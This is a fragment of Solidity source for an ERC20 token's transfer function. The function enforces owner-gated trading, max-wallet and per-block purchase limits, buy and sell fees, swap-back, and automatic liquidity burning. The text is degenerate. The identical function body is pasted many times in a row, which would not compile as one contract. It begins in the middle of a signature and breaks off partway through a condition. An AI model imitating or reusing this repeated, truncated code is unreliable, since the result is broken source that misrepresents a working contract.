address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
